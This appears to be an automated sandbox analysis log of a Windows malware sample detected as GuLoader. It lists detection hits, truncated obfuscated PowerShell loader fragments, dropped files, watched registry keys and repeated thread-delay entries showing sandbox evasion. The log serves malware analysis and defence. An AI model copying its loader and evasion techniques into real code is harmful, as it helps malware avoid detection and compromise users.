Source:	Binary string: qm.Core.pdb source: powershell.exe, 00000002.00000002.2212699188.000000000750D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.2216409652.000000000864F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000002.00000002.2212699188.00000000074F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.2212699188.00000000074F1000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2217265751.000000000B997000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Eastness $Gaysome $Nonpassible), (Galleins @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Vaadomraader = [AppDomain]::CurrentDomain.GetAssemblies()$global
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($besaettelsestid)), $Gangstiens10).DefineDynamicModule($Bobjerom, $false).DefineType($Dygtiggrelsens, $Zigzaggery, [System.MulticastDel

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C0AD10 push eax; ret	2_2_04C0ADD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04C0D23C push eax; ret	2_2_04C0D23D
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00949C30 push esp; retf 22CAh	7_2_00949D55
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_0094891E pushad ; iretd	7_2_0094891F
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00948C2F pushfd ; iretd	7_2_00948C30
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00948DDF push esp; iretd	7_2_00948DE0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 7_2_00942D49 push 8BFFFFFFh; retf	7_2_00942D4F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll			Jump to dropped file

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

API/Special instruction interceptor: Address: 6E4026E

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Memory allocated: 940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Memory allocated: 22DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Memory allocated: 24DE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599661	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599318	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 599093	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598982	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598762	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598648	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598546	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598326	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598216	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597116	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596680	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596557	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596222	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595841	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595731	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595622	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595178	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 595049	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Thread delayed: delay time: 594469	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7141	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2526	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Window / User API: threadDelayed 3881	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Window / User API: threadDelayed 5963	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 5652	Thread sleep count: 3881 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 5652	Thread sleep count: 5963 > 30	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599780s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599661s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599318s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -599093s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598982s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598762s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598648s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598546s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598437s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598326s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598216s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe TID: 1928	Thread sleep time: -597781s >= -30000s	Jump to behavior
